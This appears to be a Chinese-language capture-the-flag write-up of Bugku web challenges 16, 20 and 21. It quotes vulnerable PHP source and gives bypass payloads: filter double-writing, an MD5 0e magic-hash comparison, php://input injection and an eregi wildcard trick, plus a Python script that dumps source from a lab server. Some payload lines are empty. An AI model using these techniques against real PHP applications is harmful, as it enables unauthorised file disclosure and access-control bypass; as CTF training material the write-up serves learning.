web 16
使用dirmap扫描到index.php.bak
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
这里有一个
$_SERVER['REQUEST_URI']
,作用是获取url后面的东西
还有一个
parse_str()
函数
有一个过滤,但是这种可以双写绕过
$str = str_replace('key','',$str);
然后就是一个md5碰撞
payload:
No one knows regex better than me
<?php
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
$key=$second;
if(preg_match("/\.\.|flag/",$key)){
die("Noooood hacker!");
}else{
$third=$first;
if(preg_match("/\\|\056\160\150\x70/i",$third)){
$end=substr($third,5);
highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
}
}
}
else{
highlight_file(__FILE__);
}
关键点在这里
preg_match("/\\|\056\160\150\x70/i",$third)
其中
\056\160\150\x70
是三个八进制一个十六进制,编码过来就是.php的意思
但是前面的
\\|
看似是匹配了一个反斜杠,但其实就是字符串的转义
字符串要输出"“的话就要用”\",所以这里就是一个有意义的反斜杠,转义了里面的"|"
所以其实这个正则匹配的是
|.php
关于两重转义
在正则表达式中要匹配一个反斜杠时,例如"\\",前后两个反斜杠在字符串中分别变成一个反斜杠,解释为两个反斜杠,再交由正则表达式解释为一个反斜杠,需要四个反斜杠。
substr()函数,从第五个字符开始截取,所以就在前填四个a,截取成.php
payload:
?zero=ZmxhZw==&first=aaaa|.php
web 20
看url有一个firename,看一下是base64的样子
解码看看,是一个keys.txt
line参数应该就是输出第几行
所以可以拿去访问一下index.php
确实有效果,写个脚本把源码全部搞出来
import requests
url = "http://114.67.246.176:10454/index.php?line={}&filename=aW5kZXgucGhw"
for i in range(30):
u = url.format(i)
res = requests.get(u).text
print(res)
得到源码:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
cookie设置一个margin值为margin的时候可以访问keys.php,我们再把keys.php用base64编码一下放到filename去访问就可以了
web 21
访问1p.html,发现会跳转到官网,直接用view-source来看源码
得到源码
url解码一次,发现确实有跳转的script
base64解码一次
再url解码一次,拿到源代码
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>
第一层我们要让
(!$_GET['id'])
为true,id就要为0
可是与第二层的id==0矛盾
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
PHP在识别的时候,哈希值为0e开头的都会被识别成0,所以id=0e123
第三层,
file_get_contents($a,'r')
把文件$a的内容赋值给data,但是文件肯定有后缀,就会有"."
而
stripos($a,'.')
函数会检测$a里面有没有".",那就绕不过这个if了
所以需要借助php://input来把
bugku is a nice plateform!
直接赋值给$a
第四层,
eregi("111".substr($b,0,1),"1114")
函数,判断前的参数有没有在后面对参数里出现,类似于正则
当$b第一位为4的时候就会匹配成功,但是
substr($b,0,1)!=4
说第一位不能是4,那就用"*"绕过
payload:
?id=0e123&a=php://input&b=*aaaaaa
构造如下请求